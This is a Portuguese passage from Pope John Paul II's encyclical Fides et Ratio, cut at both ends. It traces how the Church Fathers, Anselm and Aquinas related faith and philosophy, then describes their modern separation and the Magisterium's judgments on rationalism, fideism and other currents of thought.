fé e suas motivações; antes pelo contrário. É

injusta e pretextuosa a crítica de Celso, quando acusa os cristãos

de serem gente « iletrada e rude ». (31) A explicação

deste seu desinteresse inicial tem de ser procurada noutro lado. Na

realidade, o encontro com o Evangelho oferecia uma resposta tão

satisfatória à questão do sentido da vida, até

então insolúvel, que frequentar os filósofos

parecia-lhes uma coisa sem interesse e, em certos aspectos, superada.

Isto é, hoje, ainda mais claro, se se pensa ao contributo dado

pelo cristianismo, quando defende o acesso à verdade como um

direito universal. Derrubadas as barreiras raciais, sociais e sexuais, o

cristianismo tinha anunciado, desde as suas origens, a igualdade de todos

os homens diante de Deus. A primeira consequência deste conceito

registou-se no tema da verdade, ficando decididamente superado o carácter

elitista que a sua busca tinha no pensamento dos antigos: se o acesso à

verdade é um bem que permite chegar a Deus, todos devem estar em

condições de poder percorrer esta estrada. As vias para

chegar à verdade continuam a ser muitas; mas, dado que a verdade

cristã tem valor salvífico, cada uma delas só pode

ser percorrida se conduzir à meta final, ou seja, à revelação

de Jesus Cristo.

Como pioneiro dum encontro positivo com o pensamento filosófico,

sempre marcado por um prudente discernimento, há que recordar S.

Justino. Apesar da grande estima que continuava a ter pela filosofia grega

depois da sua conversão, afirmava decidida e claramente que tinha

encontrado, no cristianismo, « a única filosofia segura e

vantajosa ». (32) De forma semelhante, Clemente de Alexandria chamava

ao Evangelho « a verdadeira filosofia », (33) e, em analogia com

a lei mosaica, via a filosofia como uma instrução propedêutica

à fé cristã (34) e uma preparação ao

Evangelho. (35) Uma vez que « a filosofia anela por aquela sabedoria

que consiste na rectidão da alma e da palavra e na pureza da vida,

está aberta à sabedoria e tudo faz para a alcançar.

No nosso meio, designam-se por filósofos os que amam a sabedoria

que é criadora e mestra de tudo, isto é, o conhecimento do

Filho de Deus ».(36) Segundo este pensador alexandrino, a filosofia

grega não tem como primeiro objectivo completar ou corroborar a

verdade cristã; a sua função é, sobretudo, a

defesa da fé: « A doutrina do Salvador é perfeita em si

mesma e não precisa de apoio, porque é a força e a

sabedoria de Deus. A filosofia grega não torna mais forte a verdade

com o seu contributo, mas, porque torna impotente o ataque da sofística

e desarma os assaltos traiçoeiros contra a verdade, foi justamente

chamada sebe e muro de vedação da vinha ».(37)

39. Entretanto, na história deste desenvolvimento, é possível

constatar a assunção crítica do pensamento filosófico

por parte dos pensadores cristãos. No meio dos primeiros exemplos

encontrados, sobressai, sem dúvida, Orígenes. Contra os

ataques lançados pelo filósofo Celso, ele recorre à

filosofia platónica para argumentar e responder-lhe. Citando vários

elementos do pensamento platónico, começa a elaborar uma

primeira forma de teologia cristã. Naquele tempo, a designação

mesma de teologia e a sua concepção como discurso racional

sobre Deus ainda estavam ligadas à sua origem grega. Na filosofia

aristotélica, por exemplo, o termo designava a parte mais nobre e o

verdadeiro apogeu do discurso filosófico. Mas, à luz da

revelação cristã, o que anteriormente indicava uma

doutrina genérica sobre a divindade, passou a assumir um

significado totalmente novo, ou seja, a reflexão que o crente

realiza para exprimir a verdadeira doutrina acerca de Deus. Este

pensamento cristão novo, que estava a desenvolver-se, servia-se da

filosofia, mas ao mesmo tempo tendia a distinguir-se nitidamente dela. A

história revela que o próprio pensamento platónico,

quando foi assumido pela teologia, sofreu profundas transformações,

especialmente em conceitos como a imortalidade da alma, a divinização

do homem e a origem do mal.

40. Nesta obra de cristianização do pensamento platónico

e neoplatónico, merecem menção particular os Padres

Capadócios, Dionísio chamado o Areopagita e sobretudo Santo

Agostinho. O grande Doutor ocidental contactara diversas escolas filosóficas,

mas todas o tinham desiludido. Quando se lhe deparou a verdade da fé

cristã, então teve a força de realizar aquela conversão

radical a que os filósofos anteriormente contactados não

tinham conseguido induzi-lo. Ele mesmo refere o motivo: « Preferindo

a doutrina católica, já sentia, então, que era mais

razoável e menos enganoso sermos obrigados a crer o que não

demonstrava, quer houvesse prova, mesmo que esta não estivesse ao

alcance de qualquer pessoa, quer a não houvesse. Seria isto mais

sensato do que zombarem da crença os maniqueístas, apoiados

em temerária promessa de ciência, para depois nos mandarem

acreditar em inúmeras fábulas tão absurdas que as não

podiam provar ». (38) Quanto aos platónicos, que ocupavam

lugar privilegiado nos pontos de referimento de Agostinho, este

censurava-os porque, embora conhecessem o fim para onde se devia tender,

tinham, porém, ignorado o caminho que lá conduzia: o Verbo

encarnado. (39) O Bispo de Hipona conseguiu elaborar a primeira grande síntese

do pensamento filosófico e teológico, nela confluindo

correntes do pensamento grego e latino. Também nele a grande

unidade do saber, que tinha o seu fundamento no pensamento bíblico,

acabou por ser confirmada e sustentada pela profundidade do pensamento

especulativo. A síntese feita por Santo Agostinho permanecerá

como a forma mais elevada de reflexão filosófica e teológica

que o Ocidente, durante séculos, conheceu. Com uma história

pessoal intensa e ajudado por uma admirável santidade de vida, ele

foi capaz de introduzir, nas suas obras, muitos dados que, apelando-se à

experiência, antecipavam já futuros desenvolvimentos de

algumas correntes filosóficas.

41. De diversas formas, pois, os Padres do Oriente e do Ocidente

entraram em relação com as escolas filosóficas. Isto

não significa que tenham identificado o conteúdo da sua

mensagem com os sistemas a que faziam referência. A pergunta de

Tertuliano: « Que têm em comum Atenas e Jerusalém? Ou, a

Academia e a Igreja? », (40) é um sintoma claro da consciência

crítica com que os pensadores cristãos encararam, desde as

origens, o problema da relação entre a fé e a

filosofia, vendo-o globalmente, tanto nos seus aspectos positivos como nas

suas limitações. Não eram pensadores ingénuos.

Precisamente porque viviam de forma intensa o conteúdo da fé,

eles conseguiam chegar às formas mais profundas da reflexão.

Por isso, é injusto e redutivo limitar o seu trabalho a mera

transposição das verdades de fé para categorias filosóficas.

Eles fizeram muito mais; conseguiram explicitar plenamente aquilo que

resultava ainda implícito e preliminar no pensamento dos grandes

filósofos antigos. (41) Estes, conforme já disse, tiveram a

função de mostrar o modo como a razão, livre dos vínculos

externos, podia escapar do beco sem saída dos mitos, para melhor se

abrir à transcendência. Uma razão purificada e recta

era capaz de se elevar aos níveis mais elevados da reflexão,

dando fundamento sólido à percepção do ser, do

transcendente e do absoluto.

Aqui mesmo se insere a novidade operada pelos Padres. Acolheram a razão

na sua plena abertura ao absoluto e, nela, enxertaram a riqueza vinda da

Revelação. O encontro não foi apenas questão

de culturas, uma das quais talvez seduzida pelo fascínio da outra;

mas verificou-se no íntimo da alma, e foi um encontro entre a

criatura e o seu Criador. Ultrapassando o fim mesmo para o qual

inconscientemente tendia por força da sua natureza, a razão

pôde alcançar o sumo bem e a suma verdade na pessoa do Verbo

encarnado. Ao encararem as filosofias, os Padres não tiveram medo

de reconhecer tanto os elementos comuns como as diferenças que

aquelas apresentavam relativamente à Revelação. A

percepção das convergências não ofuscava neles

o reconhecimento das diferenças.

42. Na teologia escolástica, o papel da razão educada

filosoficamente torna-se ainda mais notável sob o impulso da

interpretação anselmiana do intelectus fidei.

Segundo o santo Arcebispo de Cantuária, a prioridade da fé não

faz concorrência à investigação própria

da razão. De facto, esta não é chamada a exprimir um

juízo sobre os conteúdos da fé; seria incapaz disso,

porque não é idónea. A sua tarefa é, antes,

saber encontrar um sentido, descobrir razões que a todos permitam

alcançar algum entendimento dos conteúdos da fé.

Santo Anselmo sublinha o facto de que o intelecto deve pôr-se à

procura daquilo que ama: quanto mais ama, mais deseja conhecer. Quem vive

para a verdade, tende para uma forma de conhecimento que se inflama num

amor sempre maior por aquilo que conhece, embora admita que ainda não

fizera tudo aquilo que estaria no seu desejo: « Ad te videndum

factus sum; et nondum feci propter quod factus sum ». (42) Assim,

o desejo da verdade impele a razão a ir sempre mais além;

esta fica como que embevecida pela constatação de que a sua

capacidade é sempre maior do que aquilo que alcança. Chegada

aqui, porém, a razão é capaz de descobrir onde está

o termo do seu caminho: « Penso efectivamente que, quem investiga uma

coisa incompreensível, se deve contentar de chegar, pela razão,

a reconhecer com a máxima certeza a sua existência real,

embora não seja capaz de penetrar, pela inteligência, o seu

modo de ser (…). Aliás, que há de tão incompreensível

e inefável como aquilo que está acima de tudo? Portanto, se

aquilo de cuja essência suprema discutimos até agora, ficou

estabelecido sobre razões necessárias, ainda que a inteligência

não o possa penetrar de forma a conseguir traduzi-lo em palavras

claras, nem por isso vacila minimamente o fundamento da sua certeza. Com

efeito, se uma reflexão anterior compreendeu de maneira racional

que é incompreensível (rationabiliter comprehendit

incomprehensibile esse) o modo como a sabedoria suprema sabe aquilo

que fez (…) , quem explicará como ela mesma se conhece e exprime,

dado que sobre ela o homem nada ou quase nada pode saber? ». (43)

Confirma-se assim, uma vez mais, a harmonia fundamental entre o

conhecimento filosófico e o conhecimento da fé: a fé

requer que o seu objecto seja compreendido com a ajuda da razão;

por sua vez a razão, no apogeu da sua indagação,

admite como necessário aquilo que a fé apresenta.

2. A novidade perene do pensamento de S. Tomás de Aquino

43. Neste longo caminho, ocupa um lugar absolutamente especial S. Tomás,

não só pelo conteúdo da sua doutrina, mas também

pelo diálogo que soube instaurar com o pensamento árabe e

hebreu do seu tempo. Numa época em que os pensadores cristãos

voltavam a descobrir os tesouros da filosofia antiga, e mais directamente

da filosofia aristotélica, ele teve o grande mérito de

colocar em primeiro lugar a harmonia que existe entre a razão e a fé.

A luz da razão e a luz da fé provêm ambas de Deus:

argumentava ele; por isso, não se podem contradizer entre si. (44)

Indo mais longe, S. Tomás reconhece que a natureza, objecto próprio

da filosofia, pode contribuir para a compreensão da revelação

divina. Deste modo, a fé não teme a razão, mas

solicita-a e confia nela. Como a graça supõe a natureza e

leva-a à perfeição, (45) assim também a fé

supõe e aperfeiçoa a razão. Esta, iluminada pela fé,

fica liberta das fraquezas e limitações causadas pela

desobediência do pecado, e recebe a força necessária

para elevar-se até ao conhecimento do mistério de Deus Uno e

Trino. Embora sublinhando o carácter sobrenatural da fé, o

Doutor Angélico não esqueceu o valor da racionabilidade da

mesma; antes, conseguiu penetrar profundamente e especificar o sentido de

tal racionabilidade. Efectivamente, a fé é de algum modo «

exercitação do pensamento »; a razão do homem não

é anulada nem humilhada, quando presta assentimento aos conteúdos

de fé; é que estes são alcançados por decisão

livre e consciente. (46)

Precisamente por este motivo é que S. Tomás foi sempre

proposto pela Igreja como mestre de pensamento e modelo quanto ao recto

modo de fazer teologia. Neste contexto, apraz-me recordar o que escreveu o

meu Predecessor, o Servo de Deus Paulo VI, por ocasião do sétimo

centenário da morte do Doutor Angélico: « Sem dúvida,

S. Tomás possuiu, no máximo grau, a coragem da verdade, a

liberdade de espírito quando enfrentava os novos problemas, a

honestidade intelectual de quem não admite a contaminação

do cristianismo pela filosofia profana, mas tão pouco defende a

rejeição apriorística desta. Por isso, passou à

história do pensamento cristão como um pioneiro no novo

caminho da filosofia e da cultura universal. O ponto central e como que a

essência da solução que ele deu ao problema novamente

posto da contraposição entre razão e fé, com a

genialidade do seu intuito profético, foi o da conciliação

entre a secularidade do mundo e a radicalidade do Evangelho, evitando, por

um lado, aquela tendência anti-natural que nega o mundo e seus

valores, mas, por outro, sem faltar às exigências supremas e

inabaláveis da ordem sobrenatural ». (47)

44. Entre as grandes intuições de S. Tomás,

conta-se a de atribuir ao Espírito Santo o papel de fazer

amadurecer, como sapiência, a ciência humana. Desde as

primeiras páginas da Summa theologiæ, (48) o Aquinate quis

mostrar o primado daquela sapiência que é dom do Espírito

Santo e que introduz no conhecimento das realidades divinas. A sua

teologia permite compreender a peculiaridade da sapiência na sua

ligação íntima com a fé e o conhecimento de

Deus: conhece por conaturalidade, pressupõe a fé e chega a

formular rectamente o seu juízo a partir da verdade da própria

fé: « A sapiência elencada entre os dons do Espírito

Santo é distinta da mencionada entre as virtudes intelectuais. De

facto, esta segunda adquire-se pelo estudo; aquela, pelo contrário,

"provém do alto", como diz S. Tiago. Mas é também

distinta da fé, porque esta aceita a verdade divina tal como é,

enquanto é próprio do dom da sapiência julgar segundo

a verdade divina ». (49)

Mas, ao reconhecer a prioridade desta sapiência, o Doutor Angélico

não esquece a existência de mais duas formas complementares

de sabedoria: a filosófica, que se baseia sobre a

capacidade que tem o intelecto, dentro dos próprios limites

naturais, de investigar a realidade; e a sabedoria teológica,

que se fundamenta na Revelação e examina os conteúdos

da fé, alcançando o próprio mistério de Deus.

Intimamente convencido de que « omne verum a quocumque dicatur

a Spiritu Sancto est », (50) S. Tomás amou

desinteressadamente a verdade. Procurou-a por todo o lado onde pudesse

manifestar-se, colocando em relevo a sua universalidade. Nele, o Magistério

da Igreja viu e apreciou a paixão pela verdade; o seu pensamento,

precisamente porque se mantém sempre no horizonte da verdade

universal, objectiva e transcendente, atingiu « alturas que a inteligência

humana jamais poderia ter pensado ».(51) É, pois, com razão

que S. Tomás pode ser definido « apóstolo da verdade ».(52)

Porque se consagrou sem reservas à verdade, no seu realismo soube

reconhecer a sua objectividade. A sua filosofia é verdadeiramente

uma filosofia do ser, e não do simples aparecer.

3. O drama da separação da fé e da razão

45. Quando surgiram as primeiras universidades, a teologia começou

a relacionar-se mais directamente com outras formas da pesquisa e do saber

científico. Santo Alberto Magno e S. Tomás, embora admitindo

uma ligação orgânica entre a filosofia e a teologia,

foram os primeiros a reconhecer à filosofia e às ciências

a autonomia de que precisavam para se debruçar eficazmente sobre os

respectivos campos de investigação. Todavia, a partir da

baixa Idade Média, essa distinção legítima

entre os dois conhecimentos transformou-se progressivamente em nefasta

separação. Devido ao espírito excessivamente

racionalista de alguns pensadores, radicalizaram-se as posições,

chegando-se, de facto, a uma filosofia separada e absolutamente autónoma

dos conteúdos da fé. Entre as várias consequências

de tal separação, sobressai a difidência cada vez mais

forte contra a própria razão. Alguns começaram a

professar uma desconfiança geral, céptica ou agnóstica,

quer para reservar mais espaço à fé, quer para

desacreditar qualquer possível referência racional à

mesma.

Em resumo, tudo o que o pensamento patrístico e medieval tinha

concebido e actuado como uma unidade profunda, geradora dum conhecimento

capaz de chegar às formas mais altas da especulação,

foi realmente destruído pelos sistemas que abraçaram a causa

de um conhecimento racional, separado e alternativo da fé.

46. As radicalizações mais influentes são bem

conhecidas e visíveis, sobretudo na história do Ocidente. Não

é exagerado afirmar que boa parte do pensamento filosófico

moderno se desenvolveu num progressivo afastamento da revelação

cristã até chegar explicitamente à contraposição.

No século passado, este movimento tocou o seu apogeu. Alguns

representantes do idealismo procuraram, de diversos modos, transformar a fé

e os seus conteúdos, inclusive o mistério da morte e

ressurreição de Jesus Cristo, em estruturas dialécticas

racionalmente compreensíveis. Mas a esta concepção,

opuseram-se diversas formas de humanismo ateu, elaboradas filosoficamente,

que apontaram a fé como prejudicial e alienante para o

desenvolvimento pleno do uso da razão. Não tiveram medo de

se apresentar como novas religiões, dando base a projectos que

desembocaram, no plano político e social, em sistemas totalitários

traumáticos para a humanidade.

No âmbito da investigação científica, foi-se

impondo uma mentalidade positivista, que não apenas se afastou de

toda a referência à visão cristã do mundo, mas

sobretudo deixou cair qualquer alusão à visão metafísica

e moral. Por causa disso, certos cientistas, privados de qualquer

referimento ético, correm o risco de não manterem, ao centro

do seu interesse, a pessoa e a globalidade da sua vida. Mais, alguns

deles, cientes das potencialidades contidas no progresso tecnológico,

parecem ceder à lógica do mercado e ainda à tentação

dum poder demiúrgico sobre a natureza e o próprio ser

humano.

Como consequência da crise do racionalismo, apareceu o niilismo.

Enquanto filosofia do nada, consegue exercer um certo fascínio

sobre os nossos contemporâneos. Os seus seguidores defendem a

pesquisa como fim em si mesma, sem esperança nem possibilidade

alguma de alcançar a meta da verdade. Na interpretação

niilista, a existência é somente uma oportunidade para sensações

e experiências onde o efémero detém o primado. O

niilismo está na origem duma mentalidade difusa, segundo a qual não

se deve assumir qualquer compromisso definitivo, porque tudo é

fugaz e provisório.

47. Por outro lado, é preciso não esquecer que, na cultura

moderna, foi alterada a própria função da filosofia.

De sabedoria e saber universal que era, foi-se progressivamente reduzindo

a uma das muitas áreas do saber humano; mais, sob alguns dos seus

aspectos, ficou reduzida a um papel completamente marginal. Entretanto,

foram-se consolidando sempre mais outras formas de racionalidade, pondo

assim em evidência o carácter marginal do saber filosófico.

Em vez de apontarem para a contemplação da verdade e a busca

do fim último e do sentido da vida, essas formas de racionalidade são

orientadas, ou pelo menos orientáveis, como « razão

instrumental » ao serviço de fins utilitaristas, de prazer ou

de poder.

Quanto seja perigoso absolutizar esta estrada, fi-lo notar já na

minha primeira carta encíclica, ao escrever: « O homem de hoje

parece estar sempre ameaçado por aquilo mesmo que produz, ou seja,

pelo resultado do trabalho das suas mãos e, ainda mais, pelo

resultado do trabalho da sua inteligência e das tendências da

sua vontade. Os frutos desta multiforme actividade do homem, com grande

rapidez e de modo muitas vezes imprevisível, passam a ser não

tanto objecto de "alienação", no sentido de que são

simplesmente tirados àqueles que os produzem, como sobretudo, pelo

menos parcialmente, num círculo consequente e indirecto dos seus

efeitos, tais frutos voltam-se contra o próprio homem. Eles são

de facto dirigidos, ou podem sê-lo, contra o homem. Nisto parece

consistir o acto principal do drama da existência humana contemporânea,

na sua dimensão mais ampla e universal. Assim, o homem vive

mergulhado cada vez mais no medo. Teme que os seus produtos, naturalmente

não todos nem a maior parte, mas alguns e precisamente aqueles que

encerram uma especial porção da sua genialidade e da sua

iniciativa, possam ser voltados de maneira radical contra si mesmo ».

(53)

Na sequência destas transformações culturais, alguns

filósofos, abandonando a busca da verdade por si mesma, assumiram

como único objectivo a obtenção da certeza subjectiva

ou da utilidade prática. Em consequência, deu-se o

obscurecimento da verdadeira dignidade da razão, impossibilitada de

conhecer a verdade e de procurar o absoluto.

48. Assim, o dado saliente desta última parte da história

da filosofia é a constatação duma progressiva separação

entre a fé e a razão filosófica. É verdade

que, observando bem, mesmo na reflexão filosófica daqueles

que contribuíram para ampliar a distância entre fé e

razão, se manifestam às vezes gérmenes preciosos de

pensamento que, se aprofundados e desenvolvidos com mente e coração

recto, podem fazer descobrir o caminho da verdade. Estes gérmenes

de pensamento podem-se encontrar, por exemplo, nas profundas análises

sobre a percepção e a experiência, a imaginação

e o inconsciente, sobre a personalidade e a intersubjectividade, a

liberdade e os valores, o tempo e a história. Inclusive o tema da

morte pode tornar-se, para todo o pensador, um severo apelo a procurar

dentro de si mesmo o sentido autêntico da própria existência.

Todavia isto não pode fazer esquecer a necessidade que a actual

relação entre fé e razão tem de um cuidadoso

esforço de discernimento, porque tanto a razão como a fé

ficaram reciprocamente mais pobres e débeis. A razão,

privada do contributo da Revelação, percorreu sendas

marginais com o risco de perder de vista a sua meta final. A fé,

privada da razão, pôs em maior evidência o sentimento e

a experiência, correndo o risco de deixar de ser uma proposta

universal. É ilusório pensar que, tendo pela frente uma razão

débil, a fé goze de maior incidência; pelo contrário,

cai no grave perigo de ser reduzida a um mito ou superstição.

Da mesma maneira, uma razão que não tenha pela frente uma fé

adulta não é estimulada a fixar o olhar sobre a novidade e

radicalidade do ser.

À luz disto, creio justificado o meu apelo veemente e incisivo

para que a fé e a filosofia recuperem aquela unidade profunda que

as torna capazes de serem coerentes com a sua natureza, no respeito da recíproca

autonomia. Ao desassombro (parresia) da fé deve

corresponder a audácia da razão.

CAPÍTULO V

INTERVENÇÕES DO MAGISTÉRIO

EM MATÉRIA FILOSÓFICA

1. O discernimento do Magistério como diaconia da verdade

49. A Igreja não propõe uma filosofia própria, nem

canoniza uma das correntes filosóficas em detrimento de outras.

(54) A razão profunda desta reserva está no facto de que a

filosofia, mesmo quando entra em relação com a teologia,

deve proceder segundo os seus métodos e regras; caso contrário,

não haveria garantia de permanecer orientada para a verdade,

tendendo para a mesma através dum processo racionalmente controlável.

Pouca ajuda daria uma filosofia que não agisse à luz da razão,

segundo princípios próprios e específicas

metodologias. Fundamentalmente, a raiz da autonomia de que goza a

filosofia, há que individuá-la no facto de a razão

estar orientada, por sua natureza, para a verdade e dotada em si mesma dos

meios necessários para a alcançar. Uma filosofia, ciente

deste seu « estatuto constitutivo », não pode deixar de

respeitar as exigências e evidências próprias da

verdade revelada.

E, todavia, vimos, na história, os extravios e erros em que várias

vezes incorreu o pensamento filosófico, sobretudo moderno. Não

é função nem competência do Magistério

intervir para colmar as lacunas dum discurso filosófico carente.

Mas, já é sua obrigação reagir, de forma clara

e vigorosa, quando teses filosóficas discutíveis ameaçam

a recta compreensão do dado revelado e quando se difundem teorias

falsas e sectárias que semeiam erros graves, perturbando a

simplicidade e a pureza da fé do povo de Deus.

50. Por conseguinte, o Magistério eclesiástico pode, e

deve, exercer com autoridade, à luz da fé, o discernimento

crítico sobre filosofias e afirmações que contradigam

a doutrina cristã. (55) Ao Magistério compete, antes de

mais, indicar os pressupostos e as conclusões filosóficas

que são incompatíveis com a verdade revelada, formulando

assim as exigências que, do ponto de vista da fé, se impõem

à filosofia. Além disso, no desenvolvimento do saber filosófico,

surgiram diversas escolas de pensamento; ora, este pluralismo impõe

ao Magistério a responsabilidade de exprimir o seu juízo

sobre a compatibilidade ou incompatibilidade das concepções

de base, defendidas por essas escolas, com as exigências próprias

da palavra de Deus e da reflexão teológica.

A Igreja tem o dever de indicar aquilo que pode existir, num sistema

filosófico, de incompatível com a sua fé. Na verdade,

muitos conteúdos filosóficos — relativos, por exemplo,

a Deus, ao homem, à sua liberdade e ao seu comportamento ético

—, têm a ver directamente com a Igreja, porque tocam na verdade

revelada que ela guarda. Quando nós, Bispos, realizamos o referido

discernimento, temos a obrigação de ser « testemunhas

da verdade », no cumprimento dum serviço humilde, mas firme,

que todo o filósofo devia prezar, em benefício da recta

ratio, ou seja, da razão que reflecte correctamente sobre a

verdade.

51. Em todo o caso, tal discernimento não deve ser visto

primariamente de forma negativa, como se a intenção do

Magistério fosse eliminar ou reduzir qualquer possibilidade de

mediação; ao contrário, as suas intervenções

visam em primeiro lugar suscitar, promover e encorajar o pensamento filosófico.

Os filósofos são, aliás, os primeiros a compreender a

exigência de autocrítica, de correcção de

eventuais erros, e a necessidade de ultrapassar os limites demasiado

estreitos em que a sua reflexão foi concebida. De modo particular,

deve-se considerar que a verdade é uma só, embora as suas

expressões acusem os vestígios da história e sejam,

além disso, obra duma razão humana ferida e enfraquecida

pelo pecado. Daqui se conclui que nenhuma forma histórica da

filosofia pode, legitimamente, ter a pretensão de abraçar a

totalidade da verdade ou de possuir a explicação cabal do

ser humano, do mundo e da relação do homem com Deus.

E hoje, com esta multiplicação de sistemas, métodos,

conceitos e argumentos filosóficos, muitas vezes extremamente

fragmentários, impõe-se ainda com maior urgência um

discernimento crítico à luz da fé. Este discernimento

não é fácil, porque, se já é custoso

reconhecer as capacidades naturais e inalienáveis da razão

com as suas limitações constitutivas e históricas,

mais problemático ainda se pode tornar às vezes o

discernimento de cada uma das propostas filosóficas para verificar,

do ponto de vista da fé, o que apresentam de válido e

fecundo e o que existe nelas de errado ou perigoso. De qualquer modo, a

Igreja sabe que os « tesouros da sabedoria e da ciência »

estão escondidos em Cristo (Col 2, 3); por isso, ela intervém,

estimulando a reflexão filosófica, para que não se

obstrua a estrada que leva ao conhecimento do mistério.

52. Não foi só recentemente que o Magistério da

Igreja interveio para manifestar o seu pensamento a respeito de

determinadas doutrinas filosóficas. A título de exemplo,

basta recordar, no decurso dos séculos, as tomadas de posição

acerca das teorias que defendiam a preexistência das almas, (56) e

ainda sobre as diversas formas de idolatria e esoterismo supersticioso,

contidas em teses astrológicas; (57) sem esquecer os textos mais

sistemáticos contra algumas teses do averroísmo latino,

incompatíveis com a fé cristã. (58)

Se a palavra do Magistério se fez ouvir mais frequentemente a

partir da segunda metade do século passado, foi porque, naquele período,

numerosos católicos sentiram o dever de contrapor uma filosofia própria

às várias correntes do pensamento moderno. Daqui resultou,

para o Magistério da Igreja, a obrigação de vigiar a

fim de que tais filosofias não degenerassem, por sua vez, em formas

erróneas e negativas. Acabaram assim censurados os dois extremos:

dum lado, o fideísmo (59) e o tradicionalismo radical,(60)

pela sua falta de confiança nas capacidades naturais da razão;

e, do outro, o racionalismo (61) e o ontologismo, (62)

porque atribuíam à razão natural aquilo que apenas se

pode conhecer pela luz da fé. Os conteúdos positivos deste

debate foram formalizados na constituição dogmática

Dei Filius, por meio da qual um concílio ecuménico —

o Vaticano I — intervinha, pela primeira vez e de forma solene, sobre

as relações entre razão e fé. A doutrina

contida neste texto marcou, intensa e positivamente, a investigação

filosófica de muitos crentes e constitui ainda hoje um ponto

normativo de referência para uma correcta e coerente reflexão

cristã neste âmbito particular.

53. Mais do que teses filosóficas isoladas, as tomadas de posição

do Magistério ocuparam-se da necessidade do conhecimento racional —

e por conseguinte, em última análise, do conhecimento filosófico

— para a compreensão da fé. O Concílio Vaticano

I, sintetizando e confirmando solenemente os ensinamentos que o Magistério

pontifício tinha proposto aos fiéis de maneira ordinária

e constante, pôs em evidência como são inseparáveis

e ao mesmo tempo irredutíveis entre si o conhecimento natural de

Deus e a Revelação, a razão e a fé. O Concílio

partia da exigência fundamental — pressuposta também

pela Revelação — da cognoscibilidade natural da existência

de Deus, princípio e fim de todas as coisas, (63) para concluir com

a solene afirmação já citada: « Existem duas

ordens de conhecimento, distintas não apenas pelo seu princípio,

mas também pelo seu objecto ». (64) É que era preciso

afirmar, contra qualquer forma de racionalismo, a distinção

entre os mistérios da fé e as conclusões filosóficas,

e ainda a transcendência e precedência daqueles sobre estas;

por outro lado, contra as tentações fideístas,

tornava-se necessário corroborar a unidade da verdade e também

o contributo positivo que o conhecimento racional pode, e deve, dar para o

conhecimento da fé: « Mas, embora a fé esteja acima da

razão, não poderá existir nunca uma verdadeira divergência

entre fé e razão, porque o mesmo Deus que revela os mistérios

e comunica a fé, foi quem colocou também, no espírito

humano, a luz da razão. E Deus não poderia negar-Se a Si

mesmo, pondo a verdade em contradição com a verdade ».(65)

54. Neste século, o Magistério voltou várias vezes

ao mesmo assunto, alertando contra a tentação racionalista. É

neste horizonte que se devem colocar as intervenções do Papa

S. Pio X, pondo em relevo como, na base do modernismo, havia posições

filosóficas de linha fenomenista, agnóstica e

imanentista.(66) E não se pode esquecer a importância que

teve a rejeição católica da filosofia marxista e do

comunismo ateu.(67)

Sucessivamente, o Papa Pio XII fez ouvir a sua voz quando, na carta encíclica

Humani generis, preveniu contra interpretações erróneas

que andavam ligadas com as teses do evolucionismo, do existencialismo e do

historicismo. Explicava ele que estas teses não foram elaboradas

nem eram propostas por teólogos, mas tinham a sua origem «

fora do redil de Cristo »; (68) acrescentava, porém, que tais

extravios não deviam ser liminarmente rejeitados, mas examinados

criticamente: « Ora, estas tendências, que se afastam em medida

desigual da recta via, não podem ser ignoradas ou transcuradas

pelos filósofos e teólogos católicos, que têm o

grave dever de defender a verdade divina e humana, e de fazê-la

penetrar na mente dos homens. Pelo contrário, devem conhecer bem

estas opiniões, quer porque as doenças não podem ser

curadas, se primeiro não são bem conhecidas, quer porque

algumas vezes mesmo nas afirmações falsas se esconde um

pouco de verdade, quer finalmente porque os próprios erros forçam

a nossa mente a investigar e a perscrutar, com maior diligência,

certas verdades filosóficas e teológicas ».(69)

Por último, também a Congregação da Doutrina

da Fé, no cumprimento do seu múnus específico ao

serviço do magistério universal do Romano Pontífice,

(70) teve de intervir para sublinhar o perigo que comportava a assunção

acrítica, feita por alguns teólogos da libertação,

de teses e metodologias provenientes do marxismo. (71)

Vemos assim que, no passado, o Magistério exerceu reiteradamente

e sob diversas modalidades o discernimento em matéria filosófica.

Aquilo que os meus Venerados Predecessores enunciaram, constitui um

contributo precioso que não pode ser esquecido.

55. Se observarmos a situação actual, constatamos que os

problemas retornam, mas com peculiaridades novas. Já não se

trata de questões que interessam apenas a indivíduos ou

grupos, mas de convicções tão generalizadas no

ambiente que se tornam, em certa medida, mentalidade comum. Tal é,

por exemplo, a desconfiança radical na razão, que evidenciam

as conclusões mais recentes de muitos estudos filosóficos.

De várias partes ouviu-se falar, a este respeito, de « fim da

metafísica »: querem que a filosofia se contente com tarefas

mais modestas, tais como a mera interpretação dos factos ou

apenas a investigação sobre determinados campos do saber

humano ou das suas estruturas.

Também, na teologia, voltam a assomar as tentações

de outrora. Por exemplo, em algumas teologias contemporâneas

comparece novamente um certo racionalismo, principalmente quando

asserções, consideradas filosoficamente fundadas, são

tomadas como normativas para a investigação teológica.

Isto sucede sobretudo quando o teólogo, por falta de competência

filosófica, se deixa condicionar de modo acrítico por afirmações

que já entraram na linguagem e cultura corrente, mas carecem de

suficiente base racional. (72)

Não faltam também perigosas recaídas no fideísmo,

que não reconhece a importância do conhecimento racional e do

discurso filosófico para a compreensão da fé, melhor,

para a própria possibilidade de acreditar em Deus. Uma expressão,

hoje generalizada, desta tendência fideísta é o «

biblicismo », que tende a fazer da leitura da Sagrada Escritura, ou

da sua exegese, o único referencial da verdade. Assim, acaba-se por

identificar a palavra de Deus só com a Sagrada Escritura, anulando

deste modo a doutrina da Igreja que o Concílio Ecuménico

Vaticano II expressamente reafirmou. Com efeito, a constituição

Dei Verbum, depois de recordar que a palavra de Deus está

presente tanto nos textos sagrados como na Tradição, (73)

afirma sem rodeios: « A Sagrada Tradição e a Sagrada

Escritura constituem um só depósito sagrado da palavra de

Deus, confiado à Igreja; aderindo a este, todo o Povo santo

persevera unido aos seus Pastores na doutrina dos Apóstolos ».(74)

Portanto, a Sagrada Escritura não constitui, para a Igreja, a sua única

referência; a « regra suprema da sua fé » (75) provém

efectivamente da unidade que o Espírito estabeleceu entre a Sagrada

Tradição, a Sagrada Escritura e o Magistério da

Igreja, numa reciprocidade tal que os três não podem

subsistir de maneira independente.(76)

Além disso, não se deve subestimar o perigo que existe

quando se quer individuar a verdade da Sagrada Escritura com a aplicação

de uma única metodologia, esquecendo a necessidade de uma exegese

mais ampla que permita o acesso, em união com toda a Igreja, ao

sentido pleno dos textos. Os que se dedicam ao estudo da Sagrada Escritura

nunca devem esquecer que as diversas metodologias hermenêuticas têm

também na sua base uma concepção filosófica: é

preciso examiná-las com grande discernimento, antes de as aplicar

aos textos sagrados.

Outras formas de fideísmo latente podem-se identificar na pouca

consideração que é reservada à teologia

